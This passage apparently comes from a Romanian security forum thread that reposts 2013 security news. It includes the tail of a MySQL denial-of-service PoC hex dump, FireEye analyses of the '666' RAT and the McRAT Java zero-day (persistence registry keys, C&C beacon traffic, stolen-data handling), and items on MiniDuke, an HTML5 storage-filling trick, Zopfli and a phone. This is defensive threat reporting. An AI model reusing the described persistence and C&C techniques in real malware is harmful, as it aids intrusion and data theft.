00 00 00 00 00 00 FF 00 00 .............. Net::MySQL::_execute_command(): 68 00 00 01 FF CB 04 23 34 32 30 30 30 41 63 63 h.......42000Acc 65 73 73 20 64 65 6E 69 65 64 3B 20 79 6F 75 20 ess.denied;.you. 6E 65 65 64 20 28 61 74 20 6C 65 61 73 74 20 6F need.(at.least.o 6E 65 20 6F 66 29 20 74 68 65 20 52 45 50 4C 49 ne.of).the.REPLI 43 41 54 49 4F 4E 20 53 4C 41 56 45 20 70 72 69 CATION.SLAVE.pri 76 69 6C 65 67 65 28 73 29 20 66 6F 72 20 74 68 vilege(s).for.th 69 73 20 6F 70 65 72 61 74 69 6F 6E is.operation Sursa: Full Disclosure: MySQL Denial of Service Zeroday PoC
-
Torvalds clarifies Linux's Windows 8 Secure Boot position | ZDNet
-
[h=1]Compress Data More Densely with Zopfli[/h] The Zopfli Compression Algorithm is a new, open sourced general purpose data compression library that got its name from a Swiss bread recipe. It is an implementation of the Deflate compression algorithm that creates a smaller output size compared to previous techniques. The smaller compressed size allows for better space utilization, faster data transmission, and lower web page load latencies. Furthermore, the smaller compressed size has additional benefits in mobile use, such as lower data transfer fees and reduced battery use. The higher data density is achieved by using more exhaustive compression techniques, which make the compression a lot slower, but do not affect the decompression speed. The exhaustive method is based on iterating entropy modeling and a shortest path search algorithm to find a low bit cost path through the graph of all possible deflate representations. The output generated by Zopfli is typically 3–8% smaller compared to zlib at maximum compression, and we believe that Zopfli represents the state of the art in Deflate-compatible compression. Zopfli is written in C for portability. It is a compression-only library; existing software can decompress the data. Zopfli is bit-stream compatible with compression used in gzip, Zip, PNG, HTTP requests, and others. Due to the amount of CPU time required, 2–3 orders of magnitude more than zlib at maximum quality, Zopfli is best suited for applications where data is compressed once and sent over a network many times — for example, static content for the web. By open sourcing Zopfli, thus allowing webmasters to better optimize the size of frequently accessed static content, we hope to make the Internet a bit faster for all of us. By Lode Vandevenne, Software Engineer, Compression Team Sursa: Google Open Source Blog: Compress Data More Densely with Zopfli
-
[h=1]Hacking Group obtains 1TB of Data from Governments[/h]Posted by: FastFlux March 1, 2013 The primary targets seem to be government authorities from Asia, the Middle East and Eastern Europe. Academic and military institutions, an embassy and even a major search engine have also been targeted. Established by the company’s research, approximately 30,000 organizations had data stolen over a period of a few years. The cybercriminals use approximately 500 command and control servers, each being capable of transmitting data with 20 victims at a time. Each of these severs is capable of extracting around 2.4 GB of information per day, amounting to 1 TB of data stolen per day, and 365 TB in a year. The company hasn’t provided many details about the attacker, but Team Cymru Director Steve Santorelli has told The Verge that judging by the vast quantity of data, it’s most likely the work of a state-sponsored group. No known countries are took part in these attacks, which is part of the problem. According to analysts and investigators US networks are assaulted daily by hackers. Some of these hackers are developing custom-made software designed to assist taking hold of computer systems. Sursa: Hacking Group obtains 1TB of Data from Governments | ZeroSecurity
-
It's a Kind of Magic In our last post we shared our initial analysis of the malware that is installed as a result of the PDF found in the wild that exploits the then-zero-day vulnerabilities, CVE-2013-0640 and CVE-2013-0641. Today we are sharing more details about this new malware, which we have dubbed "666." The following is not a complete analysis, but outlines some of the main functionality and its interesting features. At its heart, this malware is a remote administration tool (RAT) with information-stealing capabilities. It initially accomplishes its goals through the use of three separate DLLs that work in harmony, each playing its own role. We say "initially" because there appears to be support for DLL plugins to be added in the future. There are also references to 64-bit versions of the initial three DLLs. For example, there is a LangBar64.dll to complement LangBar32.dll. For the remainder of this post, we will refer to the DLLs by their filenames but without the "32" or "64" characters at the end. The DLLs appear to be compiled with MinGW, judging by the way parameters are placed on the stack and from strings found in the DLLs. They all employ a string encryption technique for which we are sharing an IDA IDC script to aid any researchers who wish to study further. A simplified illustration of how key stroke, clipboard, and account data are collected and exfiltrated Components LangBar is the main module that drives execution. It has an export named CallW that is called in order to install it on the system. It maintains persistence by creating several registry items, including HKCU\Software\Microsoft\CTF\LangBarAddin\{12345678-1234-1234-1234567890AB}\’FilePath’ = <path to LangBar>. With ctfmon.exe running and the proper registry values set, this DLL will be loaded into all created processes. It behaves differently depending on which process it is loaded into. The DLL loaded into explorer.exe is the main instance, coordinating behavior with all the other instances of the loaded DLLs. Any behavior that the author designed to only occur in one instance happens from Explorer. LangBar is responsible for loading the other DLLs into its process and lbarext is only loaded into the Explorer process due to its nature, which will be explained later. Coordination between the processes and DLLs occur in several ways, including registry keys and values stored under the key HKCU\Software\Microsoft\Media\Other (referred to as "the Media key" for the remainder of this blog), named file mapping objects, and a named pipe. Instances where Langbar is loaded into processes for popular internet applications such as the browsers, messengers, and mail clients mentioned in our previous blog can serve as the downloading/uploading component, using the mutex JKDFHIUEJDH to coordinate whose responsibility it is. lbarhlp is mainly a data theft component. It writes the stolen data to the named pipe \\.\pipe\H5_kds..8j23_zsP2. It checks which process it is loaded into against a small list (iexplore.exe,outlook.exe,msnmsgr.exe,wlmail.exe,winmail.exe) and performs data theft specific to that application, usually account- and cache-related, using various Windows APIs and the registry. It installs a key logging hook that also steals clipboard data. We found a very interesting easter egg of sorts in the key logging thread. If the victim types the letters "optresclone," a message box appears that reads, "It's a kind of magic!" and it proceeds to log this event with a timestamp and the word "secreto." The message box text may be a reference to the Queen song "A Kind of Magic." This seemed to be a peculiar move by the author. It's somewhat of a risk to put this in as a joke since it could give the malware's presence away in the off chance someone happens to type this sequence of characters. Further pondering on this led to the theory that this may be some kind of extortion feature. The attacker could spy on his target(s) for a while and then threaten them. If they ask for proof that he has compromised them, the attacker can just tell them to type the magic word and the victims would be able to see for themselves. As a result, this provides an easy way for someone to determine if he was the victim of this attack: just type "optresclone" into one of the monitored applications such as Internet Explorer and see if the message box appears. We caution that victims' computers should be disconnected from the network before performing this test and not allowed back onto a network until the malware has been disabled in order to avoid tipping off the attacker that you are aware of his presence. lbarext is mainly responsible for receiving stolen data from lbarhlp and then packaging and encrypting it. It reads this data from the named pipe and stores it in an encrypted file named kmt32.pod. It is also responsible for processing commands that are received from the command and control (C&C) server. In addition to these tasks, it opens an invisible window with a Windows procedure that logs whenever a new volume is introduced to the system, including information provided by GetVolumeInformation for all attached drives. An interesting thing to note here is that the author spells disk with a "c" ("disc") in all cases. Typically, those in technology would refer to magnetic media using the "k" spelling ("disk") while using the "c" spelling to refer to optical media. For common usage of the word referring to flat, round objects, those in the UK typically use the word "c" spelling while those in the USA use the "k" spelling. Of course, no strong conclusions can be made from this. Commands The commands it supports can be broken down into two categories: "configuration commands" and "RAT commands." The RAT commands include the following: Log connected volume information Scan directory Steal directory Steal file Get system/network info Call plugin export Scan registry key Remote shell The scan/steal commands follow blacklists and whitelists for directory names and file extensions that are stored under the Media key. Directory names and file extensions that are present in the blacklists are ignored, and only whitelisted file extensions are considered. Information about files already stolen is also stored under the Media key to avoid sending the same file twice. The initial configuration of these lists tends to slant towards documents and away from media and code related files. The extensibility of this RAT is noteworthy. It has a plugin architecture, allowing the user to craft new DLLs that export functions that follow a particular convention and can be integrated seamlessly. One of the arguments passed to a plugin DLL must be the name of the named pipe, \\.\pipe\H5_kds..8j23_zsP2, which is where the data is written to be sent out. The configuration commands include the following: add/remove Media key/val add/remove whitelist/blacklist scan entry add/remove automated tasks delete file/directory change C&C URL Of note here is the ability to change C&C servers and the ability to configure automated tasks. Automated tasks can be any supported command and can be configured to run at specific times. Command and Control (C&C) HTTP is used for C&C. Each beacon is a GET request followed by a POST request. The GET request is used as a test to ensure that the C&C server is still available and valid. In the case that a "Proxy Authentication Required" response code is issued (407), the malware will attempt to authenticate using each set of credentials it has stolen in turn. If an "OK" response code is issued (200), these credentials are stored in a separate value in the registry under the Media key for future use. The original C&C server information is hardcoded as encrypted strings. The domain name "Bollsilloner.es" is interesting because "bolsillo" is Spanish for "pocket" and when you pronounce "Bolsilloner" aloud, it sounds like "bazillionaire." The POST request sends its data in multipart/form-data format. During our live run of the malware, we were able to capture a pcap of the initial communications sent and received. We witnessed the requests for the lbarhlp and lbarext DLLs and what we believe to be a request for commands. The field name "i" was present in all POST requests and is the same value that can be found in the "ID" value under the Media key. This may be an identifier for the victim based on the name "ID" and the fact that it is sent with each request. The field name "c" was set to "2" when requesting files to be downloaded, "0" when uploading files, and "1" for the requests that received a response with an empty body. A "c" value of "1" may indicate the request for commands. Most of the inbound and outbound data is compressed and encrypted. Registry Values There are many registry values employed by this malware. Below are a few of the more significant ones to which we have uncovered the meaning. Most of these values use wide characters and are encrypted. We have provided a python decryption tool for researchers and those affected by this RAT who wish to learn more about its configuration and activities. "UI:" A boolean value that, when set to true, will trigger uninstallation. May possibly be short for "Uninstall." "SD:" 8 characters representing a date: "YYYYMMDD." This value is used for a long term sleep feature where the malware will remain inactive until the date is reached. May possibly be short for "Sleep Date." "SP:" The directory where the installed DLL modules are located. May possibly be short for "Storage Path." "UT:" Another date formatted like "SD." When this date is reached, the malware uninstalls itself (sets "UI" to 1). May possibly be short for "Uninstall Time." "ID:" A string used as the value for the "i" parameter in the HTTP POST requests sent by the malware. This string may be an identifier for the victim, and also designates the filename used to store commands received that are to be processed. "AD:" An alternative URL for C&C, the default URL is hardcoded as an encrypted string. May possibly be short for "Alternative Download." "PI:" Base64 encoded value that holds the proxy name, username, and password for an HTTP proxy. May possibly be short for "Proxy Information." "PIS:" Base64 encoded value that holds all the sets of credentials stolen by the malware. May possibly be short for "Personal Information Storage." MiniDuke Kaspersky and CrySyS Lab recently released a report providing some details on another series of attacks using the same exploit that delivers this payload. They named the malware "MiniDuke" and raised the pertinent question of whether these attacks are related. Our initial research into this topic, although not conclusive, hints towards at least the authors of the malware being different. The same name has been used for all the droppers in the attacks found so far: "L2P.T." This was likely done out of convenience to avoid having to change the shellcode in any way. However, many differences are found in the droppers used in the MiniDuke attacks as compared to the dropper used in this attack. For starters, in this attack, the dropper was compiled with MinGW just like the malware payload itself. It also employs the same string encryption and error handling functions as the malware, whereas the MiniDuke droppers’ strings are plainly visible. The decoy PDF found in this dropper is encrypted whereas the MiniDuke dropper’s decoy PDF is plainly visible in the resource section. This dropper opens its decoy PDF directly using the ShellExecute API whereas MiniDuke’s dropper creates a BAT file that kills the existing acrobat process along with opening the decoy PDF. Lastly, the project’s pdb file path is not visible in this dropper’s strings as it is in MiniDuke’s droppers strings. Despite all these differences, there is still the curious reference to the number "666," which both of the payloads share, albeit in different ways. In this case, "666" is specified as the preferred image base address whereas in MiniDuke’s case, it is referenced as stray bytes in its code. The question remains: is this a coincidence or is there a connection? Additional Resources Download research tools here. Here are the MD5 hashes of the DLLs: LangBar32.dll - 97777f269ae807891dac4b388c66a952 lbarext32.dll - 1663de170dd03a105d5708841b709797 lbarhlp32.dll - 8e4954693a37a8e5731d0781ccec06c1 Special thanks to Gregory Newman for his assistance in analysis and tool writing. James T. Bennett on 2013.02.28 Sursa: Malware Intelligence Lab from FireEye - Research & Analysis of Zero-Day & Advanced Targeted Threats:It's a Kind of Magic
-
[h=2]YAJ0: Yet Another Java Zero-Day[/h] Through our Malware Protection Cloud (MPC), we detected a brand new Java zero-day vulnerability that was used to attack multiple customers. Specifically, we observed successful exploitation against browsers that have Java v1.6 Update 41 and Java v1.7 Update 15 installed. Not like other popular Java vulnerabilities in which security manager can be disabled easily, this vulnerability leads to arbitrary memory read and write in JVM process. After triggering the vulnerability, exploit is looking for the memory which holds JVM internal data structure like if security manager is enabled or not, and then overwrites the chunk of memory as zero. Upon successful exploitation, it will download a McRAT executable (MD5: b6c8ede9e2153f2a1e650dfa05b59b99 as svchost.jpg) from same server hosting the JAR file and then execute it. Figure 1. Example HTTP GET of the McRAT after the browser is successfully exploited, prior to the endpoint becoming fully compromised. The exploit is not very reliable, as it tries to overwrite a big chunk of memory. As a result, in most cases, upon exploitation, we can still see the payload downloading, but it fails to execute and yields a JVM crash. When the McRAT successfully installs in the compromised endpoint as an EXE (MD5: 4d519bf53a8217adc4c15d15f0815993), it generates the following HTTP command and control traffic: POST /59788582 HTTP/1.0 Content-Length: 44 Accept: text/html,application/xhtml+xml,application/xml,*/* User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: 110.XXX.55.187 Pragma: no-cache 4PdWXOD3Vlzg91Zc4PdWXOD3Vlzg91Zc4PdWXMP1RXw. McRAT persists by writing a copy of itself as a DLL to (C:\Documents and Settings\admin\AppMgmt.dll) and performing the following registry modifications: \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AppMgmt\Parameters\"ServiceDll" = C:\Documents and Settings\admin\AppMgmt.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AppMgmt\Parameters\"ServiceDll" = %SystemRoot%\System32\appmgmts.dll This post was intended to serve as a warning to the general public. We have notified Oracle and will continue to work with Oracle on this in-the-wild discovery. Since this exploit affects the latest Java 6u41 and Java 7u15 versions, we urge users to disable Java in your browser until a patch has been released; alternatively, set your Java security settings to "High" and do not execute any unknown Java applets outside of your organization. We will continue to update this blog as new information about this threat is found. FireEye would like to acknowledge and thank Hermes Bojaxhi and his team at CyberESI for their assistance in confirming this Java zero-day vulnerability. This blog was written by FireEye researchers Darien Kindlund and Yichong Lin. Update: Oracle assigned CVE-2013-1493 on this vulnerability. Sursa: Malware Intelligence Lab from FireEye - Research & Analysis of Zero-Day & Advanced Targeted Threats:YAJ0: Yet Another Java Zero-Day
-
[h=1]Un exploit HTML5 permite ca orice website s?-?i umple hard disk-ul în câteva minute[/h] Aurelian Mihai - 1 mar 2013 Fie c? intr?m pe blog-ul cuiva pus pe glume proaste sau un website controlat de persoane r?u inten?ionate, calculatorul de pe care navig?m poate c?dea victim? unui exploit ce permite umplerea hard disk-ului cu date inutile ?i chiar blocarea web browser-ului. e vin? este o sc?pare strecurat? în standardul Web Storage, ce face parte din setul de tehnologii HTML5 livrate cu practic orice web browser modern. Func?ia Web Storage permite oric?rui website s? plaseze date pe hard disk-ul utilizatorului, folosite pentru a personaliza anumite servicii ?i aplica?ii. Problema este ca standardul nu define?te o limit? pentru volumul de date pe care un website îl poate depozita la un moment dat, de unde ?i riscul ca cineva s? transfere mai multe date decât este rezonabil, cauzând reale probleme utilizatorilor prin umplerea rapid? a hard disk-ului cu date. Din fericire, datele depozitate în acest mod sunt totu?i izolate de restul sistemului, iar atacatorul de ocazie nu poate ob?ine acces asupra PC-urilor vizate . În mod surprinz?tor, W3C (organiza?ia responsabil? de aprobarea tehnologiilor HTML5) a anticipat posibilitatea exploat?rii acestei sc?p?ri în mod r?u inten?ionat, recomandând dezvoltatorilor software s? limiteze spa?iul pe hard disk alocat fiec?rui website, sau s? includ? un mecanism care s? avertizeze utilizatorii atunci când website-ul pe care îl viziteaz? încearc? s? monopolizeze mai mult de 5 MB spa?iu de stocare. Deocamdat? doar Mozilla pare s? fi luat în serios avertismentele primite, incluzând anumite mecanisme de protec?ie care feresc utilizatorii Firefox de nepl?ceri. În schimb, utilizatorii Google Chrome, Microsoft Internet Explorer, Opera ?i Apple Safari sunt l?sa?i descoperi?i. Mai mult decât atât, odat? cu epuizarea spa?iului disponibil pe hard disk web browser-ul Chrome se confrunt? cu blocaje frecvente ce dau ?i mai multe nepl?ceri utilizatorilor. Cei care doresc s? experimenteze pe propriul risc acest exploit pot vizita website-ul FillDisk.com. Trebuie ?tiut c? spa?iul de stocare ocupat în mod abuziv poate fi recuperat folosind op?iunea pentru ?tergerea istoricului de navigare din browser-ul web, având bifat? op?iunea fi?iere temporare ?i datele website-urilor. Sursa: Un exploit HTML5 permite ca orice website s?-?i umple hard disk-ul în câteva minute
-
The MiniDuke Mystery: PDF 0day Government Spy Assembler 0x29A Micro Backdoor Authors: Costin Raiu, Igor Soumenkov, Kurt Baumgartner, Vitaly Kamluk Global Research and Analysis Team, Kaspersky Lab On Feb 12th 2013, FireEye announced the discovery (http://blog.fireeye.com/research/2013/02/the-number-of-the-beast.html) of an Adobe Reader 0-day exploit which is used to drop a previously unknown, advanced piece of malware. We called this new malware “ItaDuke” because it reminded us of Duqu and because of the ancient Italian comments in the shellcode copied from Dante Aligheri’s Divine Comedy. Since the original announcement, we have observed several new incidents using the same exploit (CVE-2013-0640), some of which were so unusual that we decided to analyze them in depth. Together with our partner CrySyS Lab, we’ve performed a detailed analysis of these new incidents which indicate a new, previously unknown threat actor. For their analysis, please read http://blog.crysys.hu/2013/02/miniduke/ . For our analysis, please read below. First of all, while the fake “Mandiant” PDF reports (see http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SeculertResearchLab+(Seculert+Research+Lab)) are just dirty hacks of the original exploit, these newer attacks appear to have been created by a 0-day toolkit that was used to build the original “Visaform Tukey.pdf” discovered by FireEye. Download: http://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf
-
[h=1]Primul telefon fara difuzor din lume, adus la MWC 2013. Poti vorbi la el si prin pereti. VIDEO[/h]Torque Kyocera este un smartphone cu totul si cu totul special. Din nefericire, Torque Kyocera nu se comercializeaza in Europa si in ciuda design-ului mai putin elegant este uimitor prin faptul ca nu are difuzor. Sunetul este redat insa prin intermediul unui dispozitiv care reuseste sa transmita vibratia prin orice suprafata catre utilizator, chiar si cand acesta poarta casti. Video: Primul telefon fara difuzor din lume, adus la MWC 2013. Poti vorbi la el si prin pereti. VIDEO